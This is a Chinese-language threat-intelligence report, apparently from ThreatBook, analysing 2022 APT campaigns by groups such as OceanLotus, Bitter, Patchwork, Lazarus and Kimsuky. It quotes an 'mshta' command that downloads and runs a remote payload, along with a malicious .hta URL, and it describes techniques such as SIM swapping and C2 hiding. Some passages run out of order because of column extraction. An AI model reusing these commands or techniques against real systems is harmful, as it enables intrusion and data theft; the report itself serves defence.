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2022 年是国际局势趋向紧张的一年，特别是俄乌战争对全球政治和经济走向
造成了深远影响，地缘政治的冲突也为网络攻击带来了新的方向和话题，以
俄乌为焦点的 APT 攻击活动达到空前规模。而我国作为网络攻击的主要受害
者，仍然承受着来自周边国家和地区背景 APT 组织的轮番攻击，微步基于自
研的黑客画像、威胁狩猎和追踪溯源系统，实现了对全球数十个活跃 APT 组
织的持续追踪，发现了上百起针对国内的攻击活动，并积极配合监管机关和
相关企业客户对威胁事件进行了应急处置。本报告以微步视角对主流 APT 组
织在 2022 年期间的活动情况进行了分析总结，主要内容包括：

基于微步黑客画像系统统计发现，2022 年，受到 APT 组织影响的地区包括
中国、美国、乌克兰、俄罗斯、韩国和巴基斯坦等，政府、金融、外交、军事、
能源行业成为威胁行为组织瞄准的主要目标。

微步通过分析研究和应急响应，捕获了大量来自越南、印度、中国台湾以
及部分未知地区的 APT 组织攻击活动，通过分析此类攻击活动总结出对我
攻击的手法特征。

除针对我国的网络攻击活动外，俄对乌克攻击活动、Lazarus 投毒安全人
员以及 Lapsus$ 团伙入侵知名企业等典型事件也给网络安全从业人员带来
了更多启示。

最后以地域维度对 2022 年期间来自南亚、东南亚、东亚、东欧以及中东地
区的 20 多个活动 APT 组织进行了较为全面的总结刻画。

概述
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基 于 微 步 在 线 黑 客 画 像 系 统 统 计 发 现，2022 年 期 间 被 公 开 曝 光 的 APT 事 件 150 余
起，涉及 80 余个国家和地区遭受了不同程度的 APT 攻击。2022 年，受到 APT 组织
影响的地区包括中国、美国、乌克兰、俄罗斯、韩国和巴基斯坦等，政府、金融、外交、
军事、能源行业成为威胁行为组织瞄准的主要目标。而威胁行为组织主要来源于俄罗斯、
南亚、朝鲜半岛和中东地区。
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2022 年期间，微步情报局团队持续跟踪境内外的 APT 攻击活动，捕获了来自越南、印度、
中国台湾以及部分尚未归因国家背景的 APT 组织对我发起的大量攻击活动，配合国内
监管部门应急响应数十次，本章节以微步独立研究发现的多个典型 APT 组织特点为例子，
展示当前境外 APT 组织对我攻击的手法特征。

海莲花

2022 年，微步情报局监测到疑似越南背景海莲花对国内的攻击活动高度活跃，研究
人员通过资产同源、主动探测和样本狩猎等方式，掌握了海莲花组织的上百个 IP 资产，
这些 IP 资产为发现海莲花组织针对国内的攻击活动提供了失陷检测能力。

在观察到的资产中，有许多 IP 地址位于中国境内、中国台湾和中国香港。这些 IP 地
址对应机器已经被海莲花组织的攻击者攻陷，并被用作攻击跳板或流量代理设备，失
陷的主机类型包括 Windows 和 Linux 系统，以及许多 IoT 设备，如 * 捷网关、*igor、
*raytek、*vtech 和 * 星路由器。根据取得的证据，攻击者在去年三月就已经成功入
侵了大量锐捷网关的主机，并将它们用于定向攻击。（为防止对部分品牌造成损害，
在此处出现的品牌名称已经脱敏。）

在 APT 组织狩猎的过程中，一定会涉及到对资产的研究。根据微步情报局掌握的资产
信息，海莲花组织的攻击者惯用端口统计如下图：

在具备海莲花组织失陷检测能力的基础上，微步情报局参与了多起关于海莲花组织攻击活动
的重点取证事件，涉及行业包括政府机构、能源机构、海事机构、数据服务提供商和 IT 服
务提供商。总体调查结果表明，海莲花的攻击者主要利用 Github 平台上的各种工具来实施
外围打点，例如 nmap、fscan、nuclei、revsocks 和 Python 类型的漏洞利用脚本，利用
特有木马、CobaltStrike、SSH、WebShell 的等方式来管理失陷机器。
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此外，在调查过程中，还发现用于实施攻击活动的跳板机器存在与海莲花组织关联的痕迹，例如越南语、海莲花组织
的关联资产、关联木马等。
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蔓灵花

在今年对南亚方向的持续追踪过程中，我们发现蔓灵花组织依然在使用与往年相同的 C&C 后台，且在其中发现了部
分已经被控的主机，其中有来自孟加拉国、尼泊尔、中国的受害者，并且对攻击者对后台存放的木马进行分析后发现，
攻击者存在着对老木马进行重开发迹象，在对这些重开发的木马进行持续追踪过程中，发现这批次木马被投递到我国
重点行业的部分主机上。

除此外，我们通过整理蔓灵花组织发送的大量钓鱼邮件，发现攻击者发送邮件时间段主要集中在北京时间的中午十二
点到晚上八点，换算到印度时间为早上九点半至下午五点半，较为符合印度的工作作息时间，且其攻击目标主要集中
在工业、航空航天、政府组织等行业。

蔓灵花组织的后台
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白象

白象组织今年仍使用高仿钓鱼站对我国重点行业及单位发起攻击，且主要托管在公开平台 Netlify 中，利用“文件下载”、
“邮箱登录”等话题作为诱饵发起钓鱼攻击。除了钓鱼攻击外，我们还发现该组织在今年多次利用 Github 仓库存放
后续通信的 C2 地址，且在代码中使用多个 Github 仓库，当一个失效时，还会有其他几个作为替补，从攻击者所拥
有的 Github 仓库的 Commit 记录来看，攻击者应该是将多个 C2 地址轮流使用。

绿斑

绿斑组织持续对我政府、科研、军工、航天、高校等单位的高频攻击，跟踪发现，该组织今年钓鱼链接有变化，直接
访问域名无法打开钓鱼页面，需在后面加入指定后缀。在某次钓鱼活动中，攻击者使用了数字变量控制攻击目标，通
过遍历该参数，我们识别出钓鱼网站后台存放目标邮箱地址超过 700 个。

Github仓库的Commit历史
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此外，由于目录权限设置错误，我们还发现了其钓鱼网站的部分日志，网站早期的访问 IP 地址均属于中国台湾地区，
判断属于攻击者测试：

其他

在今年发现的 APT 攻击活动中，除上述较为频繁的组织外，还有一些针对性更强的低频 APT 攻击活动。这些攻击活
动部分归属有些是已知 APT 组织例如 “伪猎者”，也有些未知 APT 组织例如“礼物陷阱”。

伪猎者 APT 组织于 2021 年由国内安全厂商披露，据悉，其最早攻击时间可以追溯到 2018 年，历史攻击目标为包
含中国在内的人力资源和贸易相关机构。该组织从 2021 年 12 月份至今依然活跃，在今年上半年中，我们通过 APT
狩猎系统高危样本流程，捕获到该组织对韩国境内目标发起定向攻击活动样本，分别为 2022 年 2 月上旬针对 2022
平昌和平论坛相关人士的攻击和 2022 年 6 月中旬对 BernhardSeliger 博士的定向攻击。均为鱼叉邮件类型的攻击。
从下载落地的压缩文件开始，落地载荷可分为三部分：具备恶意下载的 Lnk 文件，具备文件信息收集以及下载执行
的下载器木马（mssysmon.db），具备文件窃密、插件加载、shell 功能的远控木马（TaskControler.dll）。本次
样本与之前发现伪猎者攻击事件中落地载荷执行流程基本一致，第三阶段组件 TaskControler.dll 与历史事件具有相
同导出函数、代码行为和通信过程基本一致。
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“礼物陷阱”组织于 2022 年被微步情报局首次发现并命名，该组织擅长使用鱼叉邮件方式针对我国政府部门、互联
网行业进行网络攻击。该组织使用精心伪装的钓鱼邮件，习惯在攻击前几天内注册高仿恶意域名，诱使受害者点击钓
鱼连接或者打开恶意附件，通过注册计划任务下载后续攻击样本。整个攻击流程使用多个阶段脚本，最终恶意木马为
开源项目 Poshc2。

微步在线通过 APT 狩猎系统高危域名情报生产流程发现部分可疑域名，感知到该组织发起的一起针对性攻击活动，
此次活动中以伪装软件升级和伪造组织交流等邮件主题对国内用户进行攻击，在发现攻击样本后迅速帮助受害者进行
排查，并且通过 APT 狩猎同源资产拓线流程系统发现更多相关线索、攻击样本和目标，同时帮助受害者阻断后续攻击。
此次攻击活动中，该组织注册使用国内互联网大厂相关域名且契合邮件主题字段的钓鱼域名，且后续多阶段会错开受
害者工作时间进行分发攻击，该组织样本免杀能力较弱且没有自研武器库能力。

通过 APT 狩猎同源画像系统，对这些低频 APT 组织进行溯源归因，大多数攻击活动会和已知 APT 组织有强归因，但
还是存在部分组织和已有 APT 组织重叠性较差即弱归因，由于这些低频 APT 组织曝光时间较新，相关报告和情报较少，
一旦出现 TTPS 较大更新，也难以归因。所以针对部分未知 APT 组织归因可信性较低，但我们仍为其创建新的组织命名，
还同时建立详细画像规则，加入 APT 狩猎系统中，以便在后续发现和进行更深度的溯源归因。

JS DLL DLL

cmd shell

C&C

zip

cloud.mail.ru

cmd echo | mshta
http://82.221.**.**/k0201.txt

Malware lnk

compress
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除了针对我国的网络攻击活动外，另有一些典型的 APT 活动也需要引起网络安全从业
人员的高度重视：

俄乌战争

2022 年 2 月中下旬，乌克兰东部局势恶化，其地方民间武装力量与乌政府的武装冲突
因政治立场进一步升级成俄罗斯与乌克兰之间的国家级军事冲突。在此背景下，全球
范围内借助战事热点的 APT 攻击活动达到空前规模。

从俄乌战争当事国之间的网络较量来看，公开披露的攻击事件主要为俄对乌的定向攻击，
其中以 SandWorm、APT28、APT29、Turla 等为代表的俄背景全系 APT 组织对乌政
府军工等目标单位发动了全方位的网络攻击，攻击方式包括 DDos 攻击、网络系统爆破、
钓鱼攻击、窃密攻击、恶意主机数据擦除销毁以及针对 ICS 工控系统攻击。

从检测及防守角度来看，后两类攻击值得警惕：恶意数据擦除销毁、针对 ICS 工控系
统攻击。FoxBlade wiper、CaddyWiper 等类型数据擦除器是出于战争目的而生产使
用的最直接网络武器，传统的 NDR 设备对此较为鸡肋，该类武器一旦投递成功，终端
的安全对抗即成为最后防线。同样由 SandWorm 组织使用的针对 ICS 工控网络攻击
乌电力系统的 Industroyer2 木马也值得引起注意，从震网病毒至今，对工控系统的攻
击事件绝大多数是发生在特定军事冲突背景下的网络战，这种无须后续网络通信就可
以完成既定破坏任务的武器值得我们重新探索工控领域中的安全防守底线。

Lazarus 利用 IDA 投毒事件

与去年发现的 Lazarus 组织攻击漏洞安全研究员相同，该组织在 2022 年期间依然将
安全研究人员纳入攻击视线，利用反编译工具 IDA PRO 7.5 投毒对安全研究员发起攻击。

IDA Pro 是 Hex-Rays 公司的旗舰产品，意为交互式反汇编器专业版，是最流行的静
态反编译软件之一，用户大多是安全研究人员，而由于其售价昂贵，部分用户下载使
用盗版。而 Lazarus 组织则利用这一点发布捆绑恶意软件的盗版 IDA PRO 软件，推测
其目的依旧为窃取安全研究人员手中的高价值 0Day 漏洞，用以扩充该组织军火库。

在 木 马 中，Lazarus 组 织 使 用 恶 意 的 dll 替 换 了 IDA Pro 安 装 包 的 内 部 组 件 win_
fw.dll， 通 过 其 创 建 计 划 任 务 并 启 动 另 一 恶 意 dll 文 件“idahelper.dll”， 最 终 在
dll“idahelper.dll”中通过亦或解密出攻击者的 C2 地址并实现远程下载后续攻击载
荷执行。
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Lapsus$ 入侵十余家大型企事业机构

2022 年 3 月，一个名为 Lapsus$ 黑客组织异军突起，接连攻陷了英伟达、三星、育碧甚至微软等一系列科技巨头企
业，成为本年度最具有话题性的网络安全事件。而通过对入侵事件的分析复盘发现，与其他靠技术吃饭黑客组织不同，
Lapsus$ 主要将社会工程与目标企业内部人员价值发挥到最大，攻击成功后不会部署勒索软件，也因此很难被检出，
更无法查杀，整体具有技术水平低、影响范围大的特点。

针对目标企业，Lapsus$ 主要是提前在论坛或者社交软件 Telegram 上，用葡萄牙语或英语发布招募贴，通过付
费购买某目标企业员工或企业合作伙伴的登录凭证，但要求对方不仅要提供凭证，还需同意登录时多因素身份验证

（MFA）的提示，或者让其在公司的工作站安装 Anydesk 或其他远程管理软件。为了实现对目标企业关键账户的访问，
Lapsus$ 还用到了 SIM 卡调换这种欺骗性手段。过程中，攻击者主要是通过贿赂或欺骗通讯运营商企业员工，从而
将目标账户的手机号码转移到攻击者自有设备。通过这种手段，攻击者可以拦截任何基于短信或电话发送给受害者的
验证码，也可以通过短信重置线上账号密码。另外，Lapsus$ 还会利用已泄露在互联网中的登录账号密码或会话令
牌，访问开放在互联网中的系统和应用，主要包括虚拟专用网络（VPN）、远程桌面协议 (RDP) 以及包括 ctrix 在内
的虚拟桌面基础架构（VDI），甚至是 Azure Active Directory、Okta 等身份识别供应商系统。一旦通过失陷账户
进入目标网络后，Lapsus$ 会利用多种策略发现更多的凭证或者入侵点，从而扩大其访问权限，主要包括利用 JIRA、
Gitlab 和 Confluence 等内部可访问的服务器上未修补漏洞，或者搜索代码存储库、协作平台，获取公开的更高特
权的账户或是访问其他敏感信息。

很多企业在进行安全防御投入的精力与成本，可能远不及攻击者的用心程度。一旦遇到这类轻技术、重社工的攻击，
等到事发时往往为时已晚。
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南亚

今年，在地缘、政治等多重因素影响下，印度黑客组织可谓异常活跃，针对周边国家
的攻击活动频繁，包括中国、巴基斯坦、斯里兰卡、孟加拉国、尼泊尔、等邻国，攻
击目标涵盖各国的政府、军队、医疗、航天、高校、科研等多行业。由于网络攻击具
备双向性，所以疑似具有巴基斯坦背景的黑客组织透明部落和假旗部落，同样针对印
度发起多次网络攻击。

本章节以地域维度对 2022 年期间主流 APT 组织进行了较为全面的刻画，具体内容如下：

印度攻击事件：
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印度攻击事件：

1. 蔓灵花
蔓灵花，又名 Bitter，是一个长期针对中国、巴基斯坦、
蒙古、阿拉伯、土耳其等周边国家的政府、军工、航空
等重点单位开展网络攻击的 APT 组织，其主要攻击目的
为窃取敏感资料，具有较强的政治军事目的，该组织最
早 在 2016 年 由 美 国 安 全 公 司 Forcepoint 进 行 了 披 露，
其后，国内各大安全厂商持续对其网络攻击活动进行追
踪曝光。

蔓灵花的钓鱼邮件

在 2022 年间，蔓灵花组织依然是南亚方向对我国发起
攻击活动频次最高的组织之一，其攻击主要以窃取目标
用户邮箱账号密码以及主机信息等为目的。在攻击方式
上，蔓灵花组织使用的方式依然与往年相同，向目标发
送带有恶意载荷的钓鱼邮件，钓鱼邮件中的恶意载荷包
含有 .chm 的帮助文本格式、使用多个空白字符伪装为
文档的 .exe 可执行程序，以及自解压程序。
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针对中国的钓鱼站点

解密的 Github 仓库地址

2. 白象

白象组织，又名“摩诃草”、“Patchwork”、“The 
Dropping Elephant”，是一个疑似具有印度国家背景
的 APT 组织，该组织最早由 Norman 安全公司于 2013 
年曝光，主要针对中国、巴基斯坦等亚洲地区国家进行
网络间谍活动，其中以窃取敏感信息为主，相关攻击活
动最早可以追溯到 2009 年 11 月。

2022 年，白象依然对中国保持着高频次的攻击，除了
中国外，孟加拉国、尼泊尔等周边国家也遭受到不同程
度的网络攻击。白象的攻击方式主要分为两类，一类是
通过钓鱼站点达到窃取邮箱的目的，一类是通过种植恶
意木马达到远控窃密的目的。

白象所使用的钓鱼站点依然多为公开服务例如 netlify
搭建钓鱼页面，通过仿冒官方网址引诱用户输入账号密

码，以往利用 Github Page 发布钓鱼页面的攻击方式在
今年有所减少。

在 恶 意 载 荷 方 面， 白 象 组 织 使 用 的 载 荷 中 加 解 密、 混
淆、免杀等对抗手段有了提升，使用基于 BADNEWS 木
马 重 开 发 的 Ragnatela。 在 今 年 发 现 的 木 马 中， 主 要
利 用 读 取 指 定 Github 仓 库 解 密 C2， 通 过 自 定 义 加 解
密，从仓库中的指定字段中解密出 C2 地址，给分析上
带 来 一 定 困 难。 除 此 外， 据 MalwareBytes 披 露， 在
白象攻击者的 C2 服务器上，发现了攻击者主控端的屏
幕 截 图， 从 其 中 可 以 发 现 攻 击 者 使 用 印 度 语， 并 且 在
Vmware 与 VirtualBox 测试木马，使用 VPN Secure 以
及 Cyber  Ghost 隐藏自己的 IP 地址，从攻击者的屏幕截
图中还发现攻击者登陆了巴基斯坦某政府单位的邮箱。



21

3. 响尾蛇

响尾蛇 APT 组织（SideWinder）是一支疑似具有印度
政府背景的黑客组织，最早活跃可追溯到 2012 年。其
攻击目标主要为中国、巴基斯坦、孟加拉国等国家的军工、
外交、科研等相关敏感单位。

今年，响尾蛇的攻击目标同样集中在中国及巴基斯坦等
周边国家，攻击方式上并没有太大变化，依然使用钓鱼
邮件投递载荷，利用恶意 .lnk 或文档类型文件远程下载

执行后续载荷。响尾蛇的多阶段恶意载荷分别部署在不
同 C2 服务器中，多阶段执行后下载最后阶段的木马对
目标实现远控。

在资产上，该组织的资产特点依然与往年相同，在域名
上仿冒正常网址，例如在针对巴基斯坦的攻击中就仿冒
巴基斯坦官方的网址，而在针对中国的攻击中，则仿冒
阿里云、新浪等官方域名。

响尾蛇组织发送的邮件

响尾蛇组织诱饵文件
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肚脑虫组织的计划任务

肚脑虫组织恶意文档

4. 肚脑虫
肚脑虫（Donot）是一个疑似印度背景的 APT 组织，主
要针对巴基斯坦、孟加拉国等南亚地区国家进行网络间
谍活动，除此外今年还发现了针对泰国、斯里兰卡等地
的攻击活动，该组织主要针对政府机构、重点企业等领
域进行攻击，其中以窃取敏感信息为主。其攻击活动可
以追溯到 2016 年至今。

肚脑虫组织的攻击目标主要集中在巴基斯坦、孟加拉国、
斯里兰卡等国家的政府、军工等行业，该组织拥有 PC
端与移动端双平台攻击能力。在今年发现的攻击中，肚
脑虫组织常依然使用恶意文档进行攻击，包括模板注入
的 .rtf 文 件 以 及 附 带 宏 代 码 的 Office 文 档。 肚 脑 虫 组

织的对抗手段也在今年有所改进，该组织的木马在发起
C2 请求时会使用特定的字段的特定内容，当 C2 服务器
判断指定字段的对应内容符合预期时才会继续下发后续
恶 意 载 荷。 而 在 后 续 PE 文 件 中 Donot 组 织 除 了 使 用
Sleep 函数进行休眠对抗调试，还会利用系统时间来进
行判断，在加解密方面，该组织依然使用简单的亦或和
加减进行加解密。

在 资 产 方 面， 肚 脑 虫 组 织 的 资 产 特 点 依 然 明 显， 不 过
唯一有所不同的是在今年常用的顶级域名变为了 .buzz，
其他测绘等重要的特征依然没有改变。
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GroupA21 组织诱饵文件

Warhawk 木马后台页面

5.GroupA21

GroupA21 组织，又名“BabyElephant”、“ 幼象”，
疑似是一个来自具有印度背景的 APT 组织，该组织最早
的攻击活动可以追溯到 2017 年 7 月，其主要攻击目标
为巴基斯坦、斯里兰卡、孟加拉国等国的政府、军队等
单位，在 2021 年首次发现针对中国的攻击活动。

今年发现的攻击活动中，GroupA21 组织使用钓鱼邮件
投递恶意压缩包，恶意压缩包通常由诱饵文件、恶意木
马、.lnk 木马三项组成，而诱饵文件通常来自正常官方

网站的 .pdf 文件。在后续攻击载荷方面，GroupA21 组
织依然尝试用公开的商业木马或开源木马，例如 Cobalt 
Strike、Sliver、Netwire 等 木 马， 除 此 外 我 们 还 发 现
GroupA21 组织在今年自研的一款被称为“Warhawk”
的木马，木马包含下载执行、命令执行、文件管理、文
件上传多种功能。

在资产方面，GroupA21 组织依然模仿响尾蛇组织的特
征，使用“-”、“gov”等作为关键词，仿冒正常网址。
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6. 孔夫子

孔夫子（Confucius）组织是一个疑似印度背景的 APT 组织，
自 2013 年开始活跃，主要针对巴基斯坦等南亚各国的政府、
军事等行业目标进行攻击。该组织早期攻击活动中的恶意
代码和基础设施与白象 APT 组织存在较大重合，但目标侧
重有所不同，所以孔夫子组织曾一度被认为是白象 APT 组
织的某个分支机构。

今年攻击活动中，攻击活动都集中在印度周边国家，针对
中国的攻击活动较少，在攻击手法上变化不大，唯一有所
改变的是在诱饵文档中添加了密码保护，而密码会随钓鱼
邮件一同发送给目标，由于文档有密码保护，导致许多杀
软不能检测出恶意行为。

孔夫子组织诱饵文档

孔夫子组织诱饵文档
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7. 透明部落

透明部落又称 APT36、ProjectM、C-Major，疑 似 是 具有
巴基斯坦背景的黑客组织，其活动可以追溯到 2013 年。该
组织主要使用鱼叉式网络钓鱼和水坑攻击，长期针对印度
的政治、军事进行定向攻击活动，针对印度的政府、公共部
门、各行各业包括但不限于医疗、电力、金融、制造业等进
行攻击和信息窥探。在涉及到的攻击目标中基本事关国家
安全、稳健发展的职能或研究单位 / 部门，具备极高的国
家战略价值。常使用一种称为 Crimson RAT 的 .NET RAT
作为主要控制木马。还曾被发现广泛传播 USB 蠕虫、使用

1、USB 蠕虫

通过木马部署一个模块来感染 USB 设备。感染 USB 设备
中的文档文件，在这些文档被嵌入恶意 VBA 代码，通过
USB 设备横移后，传播这些感染的文档，当新的受害者打
开感染文档后会释放包含恶意负载的编码 ZIP 文件。

2、Crimson RAT

Crimson RAT 在 2016 年 被首次披 露，是一种基于 .NET
编写的专有 RAT，作为该组织进行网络间谍活动的首选恶
意软件并沿用至今，允许攻击者获取有关受感染机器的基
本信息、收集屏幕截图、操纵文件系统以及下载或上传任
意文件。

该宏将 ZIP 文件放入在 %ALLUSERPROFILE% 下创建的
新目录中，并在同一位置提取存档内容。目录名称可以不同，
具体取决于示例：

%ALLUSERSPROFILE%\ 媒体列表 \tbvrarthsa.zip
%ALLUSERSPROFILE%\Media-List\tbvrarthsa.exe

Crimson 依赖于额外的模块负载来进一步丰富其特性集。
这些模块包括键盘记录、浏览器凭证窃取、自动搜索和窃
取可移动驱动器上的文件，以及两个不同的有效载荷更新
模块。该组织的 C2 大都属于 Contabo GmbH 托管服务
提供商，该托管服务器在南亚地区的威胁组织中较受青睐。

透明部落一直以来针对军事和外交使用广泛的基础设施来
支持他们的行动并不断更新他们的武器库。该组织持续不
断的开发 Crimson RAT、USBWorm、基于 Pyinstaller 打
包的 EXE 等，以执行情报活动和监视敏感目标。

透明部落使用的武器特征如下：

基于 Python 开发的 RAT-Peppy 作为武器。

该 组 织 具 备 Windows 和 安 卓 双 平 台 能 力，Android 平
台攻击 使 用商业 间 谍 软 件 SpyNote 和 SonicSpy，以 及
开 源 间 谍 软 件 AhMyth 和 Metasploit；该 组 织 在 针 对
Windows 的攻击过程中常使用带有嵌入宏的恶意文档。
使用诱人的文档和文件名（通常称为蜜陷阱）来诱骗受害
者在其端点上执行恶意内容。
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8. 假旗部落

假 旗 部 落 组 织，又 称 sidecopy、FalseFlager。至 少 自 
2019 年开始活动，主要针对印度开展网络间谍活动。该组
织善于向受害者发送时政和军事等目标相关信息制作的
钓鱼邮件和诱饵文档，通过远程模板攻击的方式访问挂载
了诱饵文档和恶意软件的失陷网站，以获取电子邮件凭据。
在元数据、漏洞利用代码、文件名称和白利用程序等多个
关键点模仿来自印度的肚脑虫、响尾蛇 等 APT 组织。

假 旗 部 落 喜 欢 使 用公 开 的 代 码 及 工 具，如：CetaRAT、
ReverseRAT、MargulasRAT（自有远控软件）、AllakoreRAT、
Bella RAT（mac os 平 台）等，以 及 多 款 C# 插 件。在 某
些 感 染 链 中 SideCopy 使 用 了 Python 远 程 访 问 工 具
BackNet。

伪装成 pdf 的诱饵文档

假旗部落诱饵文档

LNK 文件中执行的链接
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连 接 到 失 陷 网 站“https://tmeew.com/assets/carousel/files/LVE_CUM_POSTING_(ARMY_PERS)/jspxtoolkit/
jqueryxmlcss.hta”并下载“.hta”恶意文件。

失陷网站
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东南亚

东南亚地区最活跃的 APT 组织当属“海莲花”。2022 年，微步情报局的 APT 狩猎系统捕获到该组织的上百个攻击资产，
其中大量 IP 属于被利用的失陷设备。除了“海莲花”组织之外，研究人员还发现了一类使用 Glitch 平台作为 C2 托
管的鱼叉式钓鱼邮件。大多数样本上传地址为越南地区，这些样本的代码混淆、花指令、DLL 侧加载的手法与历史上“海
莲花”组织使用的技术高度相似，可以合理怀疑“海莲花”存在人员变动等因素。

1. 海莲花

“海莲花”，也称为 APT32 和 OceanLotus，疑似具备越
南政府背景的黑客组织 , 该组织至少从 2012 年开始活跃，
是目前东南亚地区最活跃的 APT 组织之一。

通过多维度的分析，包括资产和样本，微步情报局发现了
今年该组织针对中国地区进行的大量网络间谍活动。活动
涉及政府机构、能源机构、海事机构、数据服务提供商、IT 
服务提供商和许多暴露在互联网上的物联网设备。

APT32 攻击者惯用去年流行的攻击方法，主要以漏洞利用
为主。近两年的取证痕迹表明，APT32 组织在渗透初始阶
段投入了更多的资源。容易成为目标的系统类型包括 OA
系统、物联网设备、数据库服务器、Weblogic 服务器等。

APT32 组织画像大致如下：
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在 Windows 平 台 上， 通 过 在 内 网 主 机 中 植 入 持 久 化
后 门（ 如 CobaltStrike 和 Remy）， 并 使 用 多 种 手 段
（ 如 DLL 侧 加 载、“ 一 机 一 码” 和 小 众 的 Nim 语 言
编 译） 来 免 杀 和 规 避 沙 箱， 攻 击 者 可 以 更 有 效 地 侵 入
内 网。 在 内 网 作 战 工 具 方 面， 攻 击 者 主 要 使 用 开 源 项
目，如 PassHashes、go-shadowsocks2、Phant0m 和
Mimikatz 等。

在 Linux 平台中，微步情报局首次披露了 APT32 组织使
用的 Buni 家族木马。Buni 与 “双头龙” 在单一进程实例、
信息收集、C2 编码、结构化通信流量等技术特点几乎一致，
但流量加密方式和指令类型有所不同，研究人员在数据
服务供应商的服务器中提取了该木马。

此外，微步情报局还首次证实“海莲花”组织是 Torii
僵尸网络的运营者 , 在取证中发现 Torii 后门用于控制
APT32 攻击活动中的流量跳板设备。Torii 家族具有结
构化流量的特点，与 Buni 和“双头龙”两个家族有相
似之处。它的交叉编译方式可以覆盖多种架构的 IoT 设
备和 PC 主机，包括 ARM、x86、x64、MIPS、SuperH 等。
在 通 信 资 产 层 面，APT32 组 织 一 直 在 致 力 于 隐 藏 和 代

理 CobaltStrike C2 通 信 流 量。 他 们 入 侵 了 大 量 路 由
器、摄像头、安全网关等 IoT 设备，用于 CobaltStrike
木马控制和命令服务器的流量中转。APT32 利用失陷机
器 流 量 转 发 的 方 式 包 括：iptables、tinyPortMapper
和 Gost，被代理流量的木马类型包括 CobaltStrike、
Buni、Torii 和 Remy 等。
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东亚

1. 拉撒路

拉撒路（Lazarus）组织为朝鲜半岛地区大型 APT 组织，
是当前活跃度最高的 APT 组织之一，该组织整体攻击
水平较高，攻击活动涵盖政府、国防、教育、研究中心、
金融、能源、航空航天、运输、医疗、加密货币等诸多
具有高经济价值的行业领域。

在今年观察到的活动中，拉撒路组织的攻击涵盖了全球
范围，包括德国、巴西、印度、意大利、墨西哥、瑞士、
土耳其等国家。在攻击手法上，拉撒路组织擅长针对不
同行业实施精准的社会工程学攻击，例如使用“工作机
会”相关的话题针对洛克希德马丁公司、BAE 系统公司
的求职人员，此类社会工程学的手法被用在 Windows
和 MacOS 双平台的活动中。

在后门方面，拉撒路组织使用 Github 托管方式进行 C2
地址指令下发，以及使用以往的老旧木马“DTrack”对
外发起攻击，在白加黑方面拉撒路组织也有所创新，与
常见的将白文件与黑文件放在同一目录下直接加载不同，

拉撒路组织使用白文件加载系统恶意“dui70.dll”，再
通过系统 dll 加载恶意 dll 文件，与常见的白加黑相比
多了一个环节，推测是为了干扰分析。

此 外， 微 步 情 报 局 还 在 今 年 发 现 拉 撒 路 组 织 通 过 修 改
开源项目 SumatraPDF 阅读器进行攻击的活动，拉撒
路组织以往也有类似的攻击活动，但以往都是使用“诱
饵 .PDF”的方式直接执行恶意代码，而今年却通过修改
开源项目代码，将恶意代码写入阅读器代码中，只有当
通过阅读器启动指定 hash 的文件时，才会执行恶意代码，
这在一定程度上可以规避杀软查杀和逃避沙箱检测。

在针对密币行业方面，拉撒路组织除了使用钓鱼站点对
NFT 相关人员发起钓鱼攻击外，还会通过克隆交易所的
官方页面，仿冒出交易所站点，并在其中托管恶意攻击
载荷，利用 .msi 安装包仿冒交易所客户端在目标主机
中运行远控木马。

拉撒路组织使用 Github 作为 C2

拉撒路针对 MacOS 的诱饵文件
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2. Kimsuky

Kimsuky 是疑似具备朝鲜政府背景的 APT 组织，该组
织长期针对韩国政府、军工、新闻、医疗、金融等机构
进行攻击活动，经常以政府相关热点事件为诱饵进行定
向攻击，窃取高价值情报是其主要攻击目的。

在今年该组织曾以“金正恩执政 10 年共歌和 2022 年

在钓鱼网站方面，Kimsuky 通过注册大量仿冒域名对外
发起钓鱼攻击，主要使用的顶级域名多为 n-e.k、p-e.
kr、r-e.kr、o-r.kr、kro.k，基础设施复用的情况较为
普遍。受害者收到的钓鱼邮件通常会包含一个链接，该
链接将受害者带到第一阶段的 C2 服务器，该服务器在
传递恶意文档之前检查并验证一些参数，如果访问者与

朝鲜局势展望”、“·韩国核武装相关专家在线坐舰会”、
“kima- 2020-04-4 新 政 府 外 交 安 保 展 望”、“2022
年亚洲领袖会议”的议程、“酬金请求的形式和澳大利
亚外交官的简历”等相关主题为诱饵针对韩国地区的媒
体和智库人员进行攻击，且部分诱饵文档为该地区常用
的 HWP 格式，具有非常明显的针对性。

目标列表不匹配，则会向他们提供一份无害的文件或弹
出报错信息，否则受害者的 ip 地址将作为参数传递给
第二阶段的服务器。根据卡巴斯基披露的信息，受害者
大多为韩国的政治家、外交官、大学教授和记者。

例 1：钓鱼站点仿冒韩国 naver 网站登陆页面。
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例 2：仿冒 naver 中心向用户发送钓鱼邮件，欺骗用户登录凭据，在某些钓鱼链接中会下载恶意 apk 文件用于语音
网络钓鱼。

此外，Kimsuky 还在多次攻击活动中使用 blogspot 搭建博客站点并托管恶意载荷，为了逃避检测以及避免被溯源归因。

图 Kimsuky 用于托管恶意载荷的博客站点
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恶意程序持久化

Kimsuky 组织作为境外 APT 组织，一直保持着很高的
活跃程度，其对热点事件特别是政府相关事件保持很高
的 关 注 度， 该 组 织 在 攻 击 过 程 中 体 现 出 轻 量 化、 多 阶
段脚本载荷的特点，善于使用各种反取证和反分析技术，

在 后 门 投 递 方 面，Kimsuky 通 过 专 属 安 装 程 序 安 装
（installer_sk5621.com.co.exe） 从 攻 击 者 的 服 务 器
下载以 Gzip 文件形式压缩的 Gold Dragon，将其解压
缩为“以 [ 随机 4 个数字 ] 的形式”，安装程序还会添
加新的注册表项，为恶意软件有效负载建立持久化，通

近些年 Kimsuky 致力于新的工具开发以及历史工具的
迭代更新，使用多种漏洞针对特定机构进行定向攻击，
积极参与相关情报收集活动，让半岛地区的网络安全态
势变得愈发复杂。

过 rundll32.exe、powershell.exe、iexplore.exe 或
svchost.exe 等 系 统 程 序 执 行。 在 Kimsuky 最 新 的 活
动中还出现使用 xRAT 对韩国实体进行有针对性的攻击，
也使用相同的投递方式和持久化技术。

3. Group123

Group123 又 称 APT37、InkySquid、ScarCruft、
Ricochet Chollima 等，其至少从 2012 年以来一直活
跃，该组织以监视与朝鲜有关的个人而闻名，例如记者、
叛逃者、人权活动家、外交官、政府雇员等，该组织试
图攻击这些目标来获取机密信息。与公司单位不同的是，
这些目标通常没有足够的安全工具来防御和响应高度熟
练的监视攻击。

Group123 的部署复杂而多样，前期通常使用鱼叉式钓
鱼 邮 件 方 式 向 目 标 投 递 携 带 恶 意 宏 的 诱 饵 文 档， 一 旦

用 户 启 用 文 档 的 宏 代 码 便 会 执 行 恶 意 代 码。 在 执 行 时
